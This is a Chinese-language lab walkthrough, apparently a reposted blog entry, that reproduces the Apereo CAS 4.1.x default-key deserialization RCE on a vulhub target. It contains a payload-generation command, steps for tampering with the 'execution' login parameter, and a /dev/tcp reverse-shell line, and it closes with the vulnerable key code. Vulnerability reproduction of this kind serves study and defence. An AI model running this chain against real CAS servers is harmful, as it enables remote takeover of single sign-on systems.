漏洞复现-apereo-cas-4.1-rce

 
 
 

0x00 实验环境

攻击机:Win 10

靶机也可作为攻击机:Ubuntu18 (docker搭建的vulhub靶场)

0x01 影响版本

影响版本 Apereo CAS <= 4.1.7(Apereo CAS是一款Apereo发布的集中认证服务平台,常被用于企业内部单点登录系统。其4.1.7版本之前存在一处默认密钥的问题,利用这个默认密钥我们可以构造恶意信息触发目标反序列化漏洞,进而执行任意命令。)

0x02 漏洞复现

(1)访问页面:(其实这个页面并不常见,大部分应该都是有修改过,挖漏洞也很少遇到这类,版本为4.1.5,存在该漏洞)

(2)下载命令执行工具生成payload:

https://github.com/vulhub/Apereo-CAS-Attack/releases/download/v1.0.0/apereo-cas-attack-1.0-SNAPSHOT-all.jar
java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "mkdir 123"

(3)上面的即为我们的payload了,直接在登录页面进行抓包,修改命令为payload即可:

(4)发送至repeater模块,修改参数“execution”为生成的payload

可以发现肉鸡生成了一个123的文件夹,这个工具没法直接将结果返回过来,因此大部分情况都是用来反弹shell。

(5)反弹shell的命令:

/bin/bash -i > /dev/tcp/xx.xx.xx.xx/8899 0<&1 2>&1

这里不能直接放在里面,需要编码一下命令才行,复现久了就能习惯性的知道怎么做了:

 在网站:http://www.jackson-t.ca/runtime-exec-payloads.html

转换一下命令的编码格式,然后再去生成payload

然后直接执行命令,在自己的攻击机vps上监听8899,burp发包即可:

发一下包就能获取到反弹回来的shell:

0x04 漏洞原理

Webflow中使用了默认密钥changeit

public class EncryptedTranscoder implements Transcoder {
    private CipherBean cipherBean;
    private boolean compression = true;

    public EncryptedTranscoder() throws IOException {
        BufferedBlockCipherBean bufferedBlockCipherBean = new BufferedBlockCipherBean();
        bufferedBlockCipherBean.setBlockCipherSpec(new BufferedBlockCipherSpec("AES", "CBC", "PKCS7"));
        bufferedBlockCipherBean.setKeyStore(this.createAndPrepareKeyStore());
        bufferedBlockCipherBean.setKeyAlias("aes128");
        bufferedBlockCipherBean.setKeyPassword("changeit");
        bufferedBlockCipherBean.setNonce(new RBGNonce());
        this.setCipherBean(bufferedBlockCipherBean);
    }
原文地址:https://www.cnblogs.com/cute-puli/p/14648859.html